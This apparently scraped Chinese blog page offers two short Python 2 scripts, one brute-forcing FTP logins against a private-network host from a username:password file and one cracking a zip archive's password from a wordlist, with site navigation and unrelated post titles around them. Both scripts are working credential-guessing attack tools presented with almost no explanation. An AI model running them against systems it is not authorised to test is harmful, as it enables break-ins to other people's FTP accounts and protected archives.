zoukankan      html  css  js  c++  java
  • 用ftplib爆破FTP口令

    #coding:utf-8
    #author:jwong
    
    import ftplib
    
    def bruteLogin(hostname,passwordFile):
    	with open(passwordFile,'r') as f:
    		for line in f.readlines():
    			username = line.split(':')[0]
    			password = line.split(':')[1].strip('
    ').strip('
    ')
    			print "[+] Trying:" + username + "/" + password
    			try:
    				ftp = ftplib.FTP(hostname)
    				ftp.login(username,password)
    				print 'login success'
    				ftp.quit()
    				return (username,password)
    
    			except Exception, e:
    				pass
    		print 'could not brute force FTP credentials'
    		return (None,None)
    
    if __name__ == '__main__':
    	host = '192.168.21.104'
    	passwordFile = 'userpass.txt'
    	bruteLogin(host,passwordFile)
    

     爆破zip脚本:

    #coding:utf-8
    #author:jwong
    
    import zipfile
    
    filename = 'master.zip'
    with open('password.txt','r') as f:
    	zf = zipfile.ZipFile(filename)
    	for line in f.readlines():
    		line = line.strip()
    		try:
    			zf.extractall("./sample",pwd=line)
    			print "crack password is %s" % line
    			exit(0)
    
    		except Exception, e:
    			pass
    			
    

      

  • 相关阅读:
    25号了
    9月特别日程
    26日 晴
    8月22日 出游时间更改
    雷雨过后
    28日 多云
    080826 小雨(补记)
    080822 阴
    27日 晴
    IOS 5 ARC机制 (一)
  • 原文地址:https://www.cnblogs.com/whoami101/p/5574793.html
Copyright © 2011-2022 走看看